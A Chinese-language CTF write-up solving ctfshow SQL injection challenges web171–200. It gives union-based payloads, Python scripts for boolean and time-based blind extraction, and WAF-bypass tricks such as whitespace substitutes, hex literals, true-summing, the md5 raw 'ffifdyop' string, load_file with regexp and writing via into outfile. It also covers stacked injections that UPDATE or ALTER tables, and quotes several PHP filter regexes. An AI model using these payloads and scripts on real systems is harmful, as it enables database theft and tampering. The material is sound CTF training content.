文章目录
- web171——常规操作~
- web172——字段数改变
- web173——`hex() 、to_base64()`
- web174——`盲注`
- web175——`盲注`
- web176——`大写绕过`
- web177——`绕过空格`
- web178——`%23`
- web179——`%0c`
- web180——`优先级 and > or`
- web181——`优先级 and > or`
- web182——`优先级 and > or`
- web183——利用`where 'xx' like 'xx'`盲注
- web184——利用`xx join on `盲注、16进制
- web185——`true`
- web186——`true`
- web187——md5($pass,true)绕过
- web188——MySQL中的弱比较
- web189——`load_file`结合`regexp`盲注
- web190——bool盲注
- web191——bool盲注、`ord`
- web192——bool盲注
- web193——bool盲注
- web194——bool盲注、`LOCATE`
- web195——堆叠注入、`UPDATE`
- web196——堆叠注入
- web197——堆叠注入、`ALTER`
- web198——堆叠注入
- web199、200——堆叠注入
web171——常规操作~
2' and 1=1 #
2' or 1=1 #
数据接口请求异常:parsererror
2' or 1=1 -- -
回显正常,且爆出所有信息,说明“-- -”其效果了 。“#”这种注释方式不成功
2' union select 1,2 -- -
数据接口请求异常:parsererror
2' union select 1,2,3 -- -
成功回显1,2,3
2' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- -
2' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' -- -
2' union select 1,database(),group_concat(id,username,password) from ctfshow_user -- -
web172——字段数改变
2' order by 3 -- -
数据接口请求异常:parsererror
2' order by 2 -- -
成功回显
2' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
2' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2' -- -
2' union select 1,group_concat(id,username,password) from ctfshow_user2 -- -
web173——hex() 、to_base64()
返回逻辑中:如果出现flag就不返回,因此可以通过16进制转化
https://www.bejson.com/convert/ox2str/
这是16进制转字符串的网站
base64也可以
1' union select 1,2,3 -- -
'union select id,username,password from ctfshow_user3 --+
'union select id,hex(username),hex(password) from ctfshow_user3 --+
web174——盲注
过滤了数字,字符(串)需要加上引号,否则会报错!
1' union select da,da --+
报错不能回显
1' union select "da","da" --+
正常能够回显da,da
盲注脚本(参照feng师傅的)
import requests
url="http://6865ed25-225e-48ac-934d-4bed3e538422.chall.ctf.show:8080/api/v4.php"
flag=''
for i in range(1,100):
max=128
min=32
while 1:
middle=min+((max-min)//2) #中间数
if min==middle:
flag+=chr(middle)
print(flag)
break
payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'xiao','da') -- -"%(i,middle)
res=requests.get(url=url+payload).text
print(res)
if "xiao" in res:
max=middle
else:
min=middle
web175——盲注
\xnn 匹配ASCII代码中十六进制代码为nn的字符
[\x00-\x7f]
匹配ASCII值从0-127的字符
解法一:
select是不能考虑了,输出不了东西,那么只能时间盲注(脚本跑不出来…可能哪里错了吧)
1' and sleep(8)--+
成功延时
import requests
import time
url='http://7f842ee9-77f9-406c-b0ad-101b9292d0fa.chall.ctf.show:8080/api/v5.php'
flag=''
for i in range(1,100):
length=len(flag)
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
break
payload="?id=' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(2),0) -- -"%(i,j)
start_time=time.time()
r=requests.get(url=url+payload).text
end_time=time.time()
#print(r)
if (end_time-start_time)>=2):
max=j
else :
min=j
解法二:
既然不能显示给我们,可以尝试写入文件into outfile '/var/www/html/1.txt'
即可写入
' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' -- -
web176——大写绕过
' union Select 1,2,3 --+
' union Select 1,2,password from ctfshow_user --+
web177——绕过空格
除了空格,在代码中可以代替的空白符还有:
%0a
%0b
%0c
%0d
%09
%a0(在特定字符集才能利用)
以上均为URL编码
/**/组合
括号
1'%0dor%0d1=1%0d--+
1'or'1'='1'--+ 这种也是不错的选择
web178——%23
%23
代替注释符--
1'%09union%09select%091,2,3%23
1'%09union%09select%091,2,password%09from%09ctfshow_user%23
web179——%0c
%0c
代替空格
1'or'1'='1'%23
1‘%0cor%0c1=1%23
web180——优先级 and > or
%23
也被过滤,这样的话注释符都被过滤了
Y4师傅的解法:
'or(id=26)and'1'='1 # ()代替空格
这其中就是因为在MySQL中
比较级:and > or
where username !='flag' and id = ''or(id=36)and'1'='1' limit 1
where (username !='flag' and id = '')or( id=36 and'1'='1') limit 1
因为or的存在,相当于要select两次,但又因为or左边是为0的,右边为id=26,所以只select右边
完整的sql语句变为:select id,username,password from ctfshow_user where id=26 limit 1
详细可以看看下面的列子体会这其中的比较级
MariaDB [test]> select * from stu;
+----+-------+--------+
| id | name | passwd |
+----+-------+--------+
| 1 | Lisa | 123456 |
| 2 | LaoLi | 667788 |
| 3 | DMIND | abcdef |
| 4 | zzZ | fedcba |
+----+-------+--------+
4 rows in set (0.000 sec)
MariaDB [test]> select * from stu where name="DMIND" and id='' or id=4 and '1'='1';
+----+------+--------+
| id | name | passwd |
+----+------+--------+
| 4 | zzZ | fedcba |
+----+------+--------+
1 row in set (0.050 sec)
MariaDB [test]> select * from stu where name="DMIND" and id='3' or id=4 and '1'='1';
+----+-------+--------+
| id | name | passwd |
+----+-------+--------+
| 3 | DMIND | abcdef |
| 4 | zzZ | fedcba |
+----+-------+--------+
2 rows in set (0.000 sec)
MariaDB [test]> select * from stu where name="DMIND" and id='3' or id=4 and '1'='';
+----+-------+--------+
| id | name | passwd |
+----+-------+--------+
| 3 | DMIND | abcdef |
+----+-------+--------+
1 row in set (0.000 sec)
web181——优先级 and > or
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
似乎全部的空格符都被过滤了,但括号还能用。还是利用上题的优先级来做
web182——优先级 and > or
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
同上面一样的做法
web183——利用where 'xx' like 'xx'
盲注
还是通过盲注,利用了where like
这样的模糊搜索语句一个个盲注出内容
tableName=(ctfshow_user)where(pass)like'ctfshow{%'
% :在sql中通配 N 个字符
_ :通配任意一个字符
会发现返回结果 $user_count = 1;代表匹配到了一个,利用此模式盲注
import requests
import sys
url="http://530d4f03-2859-4c7f-bfaa-5b4398a0489a.chall.ctf.show:8080/select-waf.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag="ctfshow{"
for i in range(100):
for j in letter:
data={"tableName":"(ctfshow_user)where(pass)like'{}%'".format(flag+j)}
res=requests.post(url=url,data=data).text
#print(res)
if "$user_count = 1;" in res:
flag+=j
print(flag)
break
if j=="}":
sys.exit()
web184——利用xx join on
盲注、16进制
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
盲注点:having
把where
过滤了,但我们可以配合group by
使用having
这样依旧可以起到模糊查询的效果,毕竟where
和having
都又条件选择的功能,having要有group by 分组才能使用
还有一个问题就是引号不能使用了,看了师傅们的做法才发现,原来可以通过16进制的方式绕过
引号,形式是类似于:0x63746673686f777b25
也就是一个0x+16进制数字
的组合,记下来了记下来了
先尝试这种做法是否成功。
发现是OK的,那就写脚本盲注
import requests
import sys
def change2hex(s):
zimu=""
zimu2=""
for i in s:
zimu+=hex(ord(i))
zimu2=zimu.replace("0x","")
# print(zimu)
# print(zimu2)
return zimu2
url="http://c5e7721e-dacf-489c-bad1-4d6e733b004a.chall.ctf.show:8080/select-waf.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag="ctfshow{"
for i in range(100):
for j in letter:
data={'tableName':'ctfshow_user group by pass having pass like {}'.format("0x"+change2hex(flag+j+"%"))}
res=requests.post(url=url,data=data).text
#print(res)
if "$user_count = 1;" in res:
flag+=j
print(flag)
break
if j=="}":
sys.exit()
师傅们还有别的盲注点:on
在right join 、 left join 、inner join
中on
都是作为连接条件
import requests
import sys
def change2hex(s):
zimu=""
zimu2=""
for i in s:
zimu+=hex(ord(i))
zimu2=zimu.replace("0x","")
# print(zimu)
# print(zimu2)
return zimu2
url="http://c5e7721e-dacf-489c-bad1-4d6e733b004a.chall.ctf.show:8080/select-waf.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag="ctfshow{"
for i in range(100):
for j in letter:
data={'tableName':'ctfshow_user as a right join ctfshow_user as b on b.pass like {}'.format("0x"+change2hex(flag+j+"%"))}
res=requests.post(url=url,data=data).text
#print(res)
if "$user_count = 43;" in res:
flag+=j
print(flag)
break
if j=="}":
sys.exit()
web185——true
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
数字被过滤了,那么用16进制的做法也不行了。但在MySQL中有别的方式表示数字
从Y4师傅那儿找来的图:true表示1
,那么多个true累加即可得到任意数(只不过可能会很麻烦)
所有可见字符都能用ASCII码表示,MySQL中再利用chr(ASCII)转化为字符
脚本参照了bfeng师傅的:
import requests
import sys
# def change2hex(s):
# zimu=""
# zimu2=""
# for i in s:
# zimu+=hex(ord(i))
# zimu2=zimu.replace("0x","")
# # print(zimu)
# # print(zimu2)
def createNum(n):
num ="true"
if n==1:
return "true"
else:
for i in range(n-1):
num += "+true"
return num
def createstrNum(m):
_str=""
for j in m:
_str+=",chr("+createNum(ord(j))+")"
return _str[1:]
url="http://a91de14c-1683-48cf-bc67-4f81da3cfa96.chall.ctf.show:8080/select-waf.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag="ctfshow{"
for i in range(100):
for j in letter:
data={'tableName':'ctfshow_user group by pass having pass like concat({})'.format(createstrNum(flag+j+"%"))}
res=requests.post(url=url,data=data).text
#print(res)
if "$user_count = 1;" in res:
flag+=j
print(flag)
break
if j=="}":
sys.exit()
web186——true
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
还是可以用web185的方法
web187——md5($pass,true)绕过
先给出两个符合条件的字符串:ffifdyop、129581926211651571912466741651878684928
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}
注意到md5(string,true)
这个函数
md5(string,raw)
其中raw
参数可选,且有两种选择
- FALSE:32位16进制的字符串
- TRUE:16位原始二进制格式的字符串
当有true这个参数,会以二进制的形式输出16个字符。返回的这个原始二进制不是普通的0 1
二进制。
举例:
content: ffifdyop
md5(content[,false]): 276f722736c95d99e921722cf9ed621c
md5(content,true): 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
所以返回的原始二进制中,\xc9 \x99 \xe9 \xf9 \xed \x1c
都表示一个字符的,所以只占一位。且这些都是乱码、不可见字符
因此最终相当于字符串:'or'6]!r,b
回到此题:md5($password,true)怎么绕过?
利用ffifdyop
即可,代入SQL语句
select count(*) from ctfshow_user where username = '$username' and password= ''or'6]!r,b'
也就是:
select count(*) from ctfshow_user where username = '$username' and password= '' or '6]!r,b'
也就是:
select count(*) from ctfshow_user where FALSE or TRUE
or的存在配合后面的TRUE就绕过了
引用一下bfeng师傅的:MySQL进行布尔判断的知识
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)
web188——MySQL中的弱比较
$sql = "select pass from ctfshow_user where username = {$username}";
# username两边没有引号!
你可以尝试一下在数据库中使用这样的语句:
select * from stu where name=0
很有可能是能查询出东西的,即使你没有name为0的数据
这是因为数据库进行了弱比较,它select出所有name是以字母为开头的数据
以字母为开头的字符型数据在与数字型比较时,会强制转化为0,再与数字比较(这里很类似于PHP的弱比较)
假设我们username为0,那么就会相等,从而匹配成功
$row['pass']==intval($password)
这里也是弱比较,$row['pass']
如果是字母开头就会转为0
尝试
username=0&password=0
是成功的,这也说明数据库中的username与password是以字母开头的字符型数据,当然如果某个数据不是以字母开头,我们是匹配不上这个数据的
所以还有一种:
username=1||1&password=0
利用了逻辑与绕过了username
的判断。但绕过password的原理和上面一样
web189——load_file
结合regexp
盲注
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
继续尝试username=0&password=0
返回密码错误,原因在于password不再是以字母开头的字符型数据了
username=1&password=0
返回查询失败,因为没有1
这个用户
题目hint提示flag在api/index.php文件中,另外一个文件,应该能想起有关文件的函数,比如load_file()
load_file()
结合regexp
寻找字符并盲注
import requests
import sys
flag="ctfshow{"
url="http://9402b96a-bff0-480e-8e33-86347958c901.chall.ctf.show:8080/api/index.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
for i in range(100):
for j in letter:
data={
'username':"if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag+j),
'password':0}
res=requests.post(url=url,data=data).text
print(res)
if r"\u5bc6\u7801\u9519\u8bef" in res:
flag+=j
print(flag)
break
if j=="}":
sys.exit()
web190——bool盲注
' or 1='1 闭合前后引号
也可以注释符: ' or 1 -- -
import requests
flag=""
url="http://63c27ae8-31b1-40a8-90b4-b9daadc4c259.chall.ctf.show:8080/api/"
# data1="'or '"
for i in range(100):
max=128
min=32
while 1:
middle=min+((max-min)//2)
if min==middle:
flag+=chr(middle)
print(flag)
break
payload="' or if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))<{},1,0) ='1".format(i,middle)
#payload="' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{},1,0) ='1".format(i,middle)
#payload="' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},1,0) ='1".format(i,middle)
data={
'username':payload,
'password':0
}
res = requests.post(url=url,data=data).text
print(res)
if "\\u5bc6\\u7801\\u9519\\u8bef" in res:
max=middle
else:
min=middle
web191——bool盲注、ord
在处理单字节而非多字节字符上,ascii()
与ord()
都是可以得到一样的结果脚本同上
web192——bool盲注
import requests
import sys
flag=""
url="http://9a60b59e-56ea-404f-8818-ce16b1da34c1.chall.ctf.show:8080/api/"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
# data1="'or '"
for i in range(1,100):
for j in letter:
payload="' or if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)regexp('{}'),1,0) ='1".format(i,j)
#payload="' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{},1,0) ='1".format(i,middle)
#payload="' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},1,0) ='1".format(i,middle)
data={
'username':payload,
'password':1
}
res = requests.post(url=url,data=data).text
print(res)
if "\\u5bc6\\u7801\\u9519\\u8bef" in res:
flag+=j
print(flag)
break
if j=="}":
sys.exit()
web193——bool盲注
既然不能用substr()匹配一个字符,那就利用like xx%
直接匹配
import requests
import sys
flag=""
url="http://66133a8d-3bd2-4aef-b535-3d39c4f87f1c.challenge.ctf.show:8080/api/"
letter="0123456789abcdefghijklmnopqrstuvwxyz-_,{}"
# data1="'or '"
for i in range(1,100):
for j in letter:
k=flag+j
#payload= "' or if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0) ='1".format(flag+j+"%")
#payload= "' or if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{}',1,0) ='1".format(flag+j+"%")
payload= "' or if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{}',1,0) ='1".format(flag+j+"%")
data={
'username':payload,
'password':1
}
res = requests.post(url=url,data=data).text
print(res)
if "\\u5bc6\\u7801\\u9519\\u8bef" in res:
flag+=j
print(flag)
break
if j=="}":
sys.exit()
web194——bool盲注、LOCATE
用上面脚本的payload是可以的,但看Y4师傅还有别的payload
用到了locate
(是我没学过的东西…)
LOCATE(substr,string)
返回字符串string
中第一次出现子字符串的位置 subtr
,从1开始计数
例如:SELECT LOCATE(‘M’, ‘DMIND’) 返回 2
构造这样的payload:
payload2="' or if((locate('{}',(select group_concat(f1ag) from ctfshow_flxg limit 0,1))=1),1,2)='1".format(flag+j)
import requests
import sys
flag=""
url="http://b3ff493e-ac8c-4add-8266-45f927e01fa7.challenge.ctf.show:8080/api/"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{_,}"
# data1="'or '"
for i in range(1,100):
for j in letter:
k=flag+j
payload2="' or if((locate('{}',(select group_concat(f1ag) from ctfshow_flxg limit 0,1))=1),1,2)='1".format(flag+j)
#payload1= "' or if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0) ='1".format(flag+j+"%")
#payload1= "' or if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{}',1,0) ='1".format(flag+j+"%")
#payload1= "' or if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{}',1,0) ='1".format(flag+j+"%")
data={
'username':payload2,
'password':1
}
res = requests.post(url=url,data=data).text
print(res)
if "\\u5bc6\\u7801\\u9519\\u8bef" in res:
flag+=j
print(flag)
break
if j=="}":
sys.exit()
web195——堆叠注入、UPDATE
一看过滤了and or
还布尔盲注个鬼…
再看引号、空格没了,陷入了呆滞之中…
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
显然,没有了引号但这里想要查询admin这样字符串的用户名却一定要引号括起字符串。 那么就是用16进制绕过引号
admin <=> 0x61646d696e
当然,因为题目没有了引号,0也是能查询出数据的,这在前面有提及过了
看了Y4大佬的操作,update注入,直接利用反引号改pass字段数据
但这种操作需要知道字段与表名…
0x61646d696e;update`ctfshow_user`set`pass`=1
0;update`ctfshow_user`set`pass`=1
web196——堆叠注入
要求用户名不能超过16个字符。奥,想了会儿,不会,满怀期待想知道大佬们能有什么神操作绕过,结果说select
并没被过滤…
???
那就是直接select出一个密码,$row[0]就会等于我们select的内容
1;select(7)
7
web197——堆叠注入、ALTER
过滤了update、select
思路是更改字段名,将pass
改为id
,pass不好爆破,id(盲猜就是自然数递增)总好爆破吧?
将ctfshow_user表中,字段名改为Balter table ctfshow_user change `A` `B` varchar(100)
import requests
url="http://990dbf27-eca8-4c1c-92a6-cd5b7b780304.challenge.ctf.show:8080/api/"
for i in range(100):
if i ==0:
payload="0x61646d696e;alter table ctfshow_user change `pass` `id2` varchar(100);alter table ctfshow_user change `id` `pass` varchar(100)"
data={
'username':payload,
'password':i
}
res=requests.post(url=url,data=data).text
print(res)
data2={
'username':'0x61646d696e',
'password':i
}
res2=requests.post(url=url,data=data2).text
print(res2)
if "ctfshow{" in res2:
print(i)
print(res)
break
web198——堆叠注入
解法一:可以继续用上题的做法
解法二:但值得注意的是:这题没有对password进行数字检查,也就是说password可以是字母了!又因为是堆叠注入,不得尝试一下show tables
吗?
1;show tables
ctfshow_user
web199、200——堆叠注入
过滤了(
,是用不了web197的脚本了
1;show tables
ctfshow_user